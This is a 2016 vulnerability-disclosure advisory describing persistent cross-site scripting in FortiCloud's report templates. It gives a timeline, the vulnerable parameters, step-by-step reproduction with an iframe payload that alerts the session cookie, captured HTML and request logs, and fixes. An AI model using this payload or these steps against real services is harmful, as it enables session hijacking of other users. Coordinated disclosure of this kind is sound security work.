FortiCloud Cross Site Scripting
Posted on 07 August 2016
Document Title: =============== FortiCloud - (Reports Summary) Multiple Persistent Vulnerabilities References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1735 Release Date: ============= 2016-08-05 Vulnerability Laboratory ID (VL-ID): ==================================== 1735 Common Vulnerability Scoring System: ==================================== 3.6 Product & Service Introduction: =============================== FortiCloud is a hosted solution that helps you manage your FortiGateA(r) network and your FortiAPA(r) wireless infrastructure. The perfect companion to all your FortiGate & FortiWiFi units. FortiCloud is a hosted security and wireless infrastructure management solution and log retention service for FortiGate, FortiWiFi and FortiAP devices. It gives you centralized reporting, traffic analysis, configuration management, and log retention without the need for additional hardware and software, with the following feature set: ( Copy of the Vendor Homepage: http://docs.fortinet.com/uploaded/files/1730/forticloud-faq-25.pdf ) Abstract Advisory Information: ============================== An independent vulnerability laboratory researcher discovered multiple application-side validation vulnerabilities in the official Forticloud online service web-application. Vulnerability Disclosure Timeline: ================================== 2016-02-17: Researcher Notification & Coordination (Lawrence Amer) 2016-02-18: Vendor Notification (Fortguard PSIRT Security Team) 2016-03-02: Vendor Response/Feedback (Fortguard PSIRT Security Team) 2016-07-04: Vendor Fix/Patch (Fortinet Developer Team) 2016-07-22: Security Acknowledgements (Fortguard PSIRT Security Team) 2016-08-05: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ Multiple persistent cross site scripting web vulnerabilities has been discoverd in the offical version of Forticloud online service web-application. The security vulnerability allows remote attackers to inject own malicious script codes on the application-side of the affected online service module. The persistent input validation web vulnerabilities are located in the `Template - Summary` module of the main `Reports` module. The encoding of the add inputs in the title, description and charts is broken. Remote attackers with low or privileged web-application user accounts are able to inject own malicious script codes on the application-side of the reports - summary module. The request method to inject is POST and the attack vector is located on the application-side of the forticloud service. The injection point are the title, description and charts add input fields and the execution point is the reports - summary module of the web-application. The security risk of the persistent validation vulnerabilities are estimated as medium with a cvss (common vulnerability scoring system) count of 3.6. Exploitation of the persistent input validation web vulnerability requires a low privileged web-application user account and low or medium user interaction. Successful exploitation of the vulnerability results in session hijacking, persistent phishing, persistent external redirects to malicious source and persistent manipulation of affected or connected application modules. Request Method(s): [+] POST Vulnerable Module(s): [+] FortiCloud - Reports - Templates Vulnerable Input(s): [+] Reports Main title [+] Reports Descriptions [+] Report Charts Vulnerable Parameter(s): [+] ext-gen2538, ext-gen2458 & gwt-HTML [+] fc-rpt-description [+] fc-rpt-title [+] fc-rpt-chart Affected Module(s): [+] Summary (Main.html - Index) Proof of Concept (PoC): ======================= The application-side web vulnerabilities can be exploited by remote attackers with low privileged application user account and low or medium user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Open the forticloud appliance web-application and login 2. Open the reports > templates module 3. Switch to Summary Reports 4. Edit existing or Add a new own title , description or chart 5. Inject as name value a script code payload (javascript) Note: >"<iframe src=http://vulnerability-lab.com onload=alert(document.cookie) < 6. The execution occurs directly in the same input field context in the summary module 7. Successful reproduce of the vulnerability! PoC: Video https://youtu.be/-WTAMxi1qzQ PoC: Summary Reports - com.fortinet.gwt.Main/Main.html (Add Title) "><iframe id="ext-gen2538" src="[PERSISTENT SCRIPT CODE EXECUTION!]...</iframe></div></div></td><td id="ext-gen2541" style="vertical-align: top;" align="right"><table id="ext-gen2543" style="visibility: hidden;"><colgroup><col></colgroup> <tbody><tr><td><img id="ext-gen2544" aria-hidden="false" style="padding-left: 12px; vertical-align: 1px;" title="Edit" class="img_link" src="images/160/small_edit_icon.png"></td> <td><img id="ext-gen2550" aria-hidden="false" style="padding-left: 12px; padding-right: 12px; vertical-align: 1px;" title="Delete" class="img_link" src="images/160/medium_close_icon.png"></td></tr></tbody></table></td></tr></tbody></table></td></tr> <tr><td width="100%"><table aria-hidden="true" style="width: 100%; height: 100%; display: none;" cellpadding="0" cellspacing="0"> <tbody><tr><td style="vertical-align: top; width: 100%;" align="center" height="" width=""><input style="width: 96%; height: 0px; margin: 8px;" class="gwt-TextBox" type="text"></td></tr></tbody></table></td></tr></tbody></table></div></td></tr></tbody></table></td></tr></tbody></table></td></tr></tbody></table></td></tr></tbody></table></td></tr> <tr><td><table id="ext-gen2522" class="fc-rpt-block fc-rpt-block-grey" style="width: 100%;"><colgroup><col></colgroup><tbody id="ext-gen2524"><tr><td width="100%"> <table id="ext-gen2526" style="width: 100%;"><colgroup><col></colgroup><tbody><tr><td id="ext-gen2525" width="100%"><div style="white-space: nowrap;" class="gwt-HTML"></div></td> <td align="right"><table style="padding-top: 5px;"><colgroup><col></colgroup><tbody><tr><td><img style="padding-right: 25px;" class="img_link" src="images/160/medium_settings_icon.png"></td><td><img style="padding-right: 25px;" title="Delete" class="img_link" src="images/160/medium_close_icon.png"> PoC: Summary Reports - com.fortinet.gwt.Main/Main.html (Add Charts) <tr><td style="vertical-align: top;" align="left"><div id="ext-gen2092" style="" class="" aria-hidden="false" tabindex="0"><input style="opacity: 0; height: 1px; width: 1px; z-index: -1; overflow: hidden; position: absolute;" tabindex="-1" type="text"><table id="ext-gen2094" style="width: 1026px; height: 100%;" class="widget" cellpadding="0" cellspacing="0"><colgroup><col></colgroup><tbody><tr><td><table id="ext-gen2090" class="fc-rpt-title" style="width: 100%; background-color: rgb(25, 115, 198);"><colgroup><col> </colgroup><tbody><tr><td id="ext-gen2284" style="padding-left: 25px;" align="left" width="100%"><div class="" tabindex="0"><input style="opacity: 0; height: 1px; width: 1px; z-index: -1; overflow: hidden; position: absolute;" tabindex="-1" type="text"><div id="ext-gen2091" style="width: 100%; white-space: nowrap;" class="gwt-HTML">">[PERSISTENT SCRIPT CODE EXECUTION!]<iframe id="ext-gen2458" src="[PERSISTENT SCRIPT CODE EXECUTION!]></div></div></td><td id="ext-gen2213" style="vertical-align: top;" align="right"><table id="ext-gen2095" style="visibility: hidden;"><colgroup><col></colgroup><tbody><tr id="ext-gen2216"><td id="ext-gen2286"> <img id="ext-gen2287" style="padding-left: 12px; vertical-align: 0px;" class="img_link" src="images/160/medium_collapse_icon.png"></td><td id="ext-gen2096"><img id="ext-gen2097" style="padding-left: 12px; vertical-align: 1px;" title="Edit" class="img_link" src="images/160/small_edit_icon_white.png"></td><td id="ext-gen2215"><img id="ext-gen2214" style="padding-left: 12px; padding-right: 12px; vertical-align: 1px;" title="Delete" class="img_link" src="images/160/medium_close_icon_white.png"></td></tr> </tbody></table></td></tr></tbody></table></td></tr><tr><td width="100%"><table aria-hidden="false" style="width: 100%; height: 100%;" cellpadding="0" cellspacing="0"> <tbody><tr><td id="ext-gen2457" style="vertical-align: top; width: 100%;" align="center" height="" width=""><img id="ext-gen2444" style="width: 96%; margin: 8px;" title="Sample Chart" class="gwt-Image" src="images/portal/barchart2.png"></td></tr></tbody></table></td></tr></tbody></table></div></td></tr></tbody></table> </td></tr></tbody></table></td></tr></tbody></table></td></tr></tbody> PoC: Summary Reports - com.fortinet.gwt.Main/Main.html (Add Description) <tr><td id="ext-gen2643" align="left" width="100%"><div id="ext-gen2682" class="" tabindex="0"><input style="opacity: 0; height: 1px; width: 1px; z-index: -1; overflow: hidden; position: absolute;" tabindex="-1" type="text"><div id="ext-gen2644" style="width: 100%; white-space: nowrap;" class="fc-rpt-description">%20<img>%20[PERSISTENT SCRIPT CODE EXECUTION!]<iframe id="ext-gen2662"></iframe></div></div></td><td id="ext-gen2654" style="vertical-align: top;" align="right"><table id="ext-gen2655" style="visibility: hidden;"><colgroup><col></colgroup><tbody><tr><td id="ext-gen2683"><img id="ext-gen2645" aria-hidden="false" style="padding-left: 12px; vertical-align: 1px;" title="Edit" class="img_link" src="images/160/small_edit_icon.png"></td><td id="ext-gen2684"><img id="ext-gen2685" aria-hidden="false" style="padding-left: 12px; padding-right: 12px; vertical-align: 1px;" title="Delete" class="img_link" src="images/160/medium_close_icon.png"> </td></tr></tbody></table></td></tr> --- PoC Session Logs [POST] --- Status: 200[OK] POST https://forticloud.localhost:7641/com.fortinet.gwt.Main/account Mime Type[application/json] Request Header: Host[forticloud.localhost:7641] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Content-Type[text/x-gwt-rpc; charset=utf-8] x-gwt-permutation[D7292270AC638FB6CE5F48AC977F99B4] X-GWT-Module-Base[https://forticloud.localhost:7641/com.fortinet.gwt.Main/] Referer[https://forticloud.localhost:7641/com.fortinet.gwt.Main/Main.html?locale=en_US&seq=1455786963849&logoutUrl=login.jsp&loginurl=] Cookie[JSESSIONID=5AF2C62793B0AC3B70B31A150E1E1923] Connection[keep-alive] POST-Daten: 7|0|4|https://forticloud.localhost:7641/com.fortinet.gwt.Main/|3C6EAA58CDA996EE4B7102D4CDB7AFC4|com.fortinet.gwt.client.portal.account.AccountService|getLastLoginData|1|2|3|4|0|[] Response Header: Server[Apache-Coyote/1.1] X-Frame-Options[SAMEORIGIN] Content-Disposition[attachment] Content-Type[application/json;charset=utf-8] - Status: 200[OK] GET https://forticloud.localhost:7641/com.fortinet.gwt.Main/x[PERSISTENT INJECTED SCRIPT CODE EXECUTION!] Mime Type[text/html] Request Header: Host[forticloud.localhost:7641] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0] Accept[image/png,image/*;q=0.8,*/*;q=0.5] Referer[https://forticloud.localhost:7641/com.fortinet.gwt.Main/Main.html?locale=en_US&seq=1455786963849&logoutUrl=login.jsp&loginurl=] Cookie[JSESSIONID=5AF2C62793B0AC3B70B31A150E1E1923] Connection[keep-alive] Response Header: Server[Apache-Coyote/1.1] Cache-Control[private] Expires[Wed, 31 Dec 1969 16:00:00 PST] X-Frame-Options[SAMEORIGIN] Content-Type[text/html;charset=utf-8] Content-Length[1024] Reference(s): https://forticloud.localhost:7641/ https://forticloud.localhost:7641/com.fortinet.gwt.Main/ https://forticloud.localhost:7641/com.fortinet.gwt.Main/account Solution - Fix & Patch: ======================= 1. Encode and parse the vulnerable input fields (title, charts and description) 2. Escape the input via edit and add 3. Restrict the input and disallow usage of special chars on add or edit 4. Encode the vulnerable summary module to prevent an application-side script code execution 5. Implement a secure exception-handling to prevent further injection attacks Updates are available for customers in the fortinet customer area or via automated appliance update. FortiCloud v3.0.0 Security Risk: ============== The security risk of the application-side input validation web vulnerabilities in the forticloud web-application are estimated as medium. (CVSS 3.6) Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Lawrence Amer - ( http://www.vulnerability-lab.com/show.php?user=Lawrence%20Amer ) Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. 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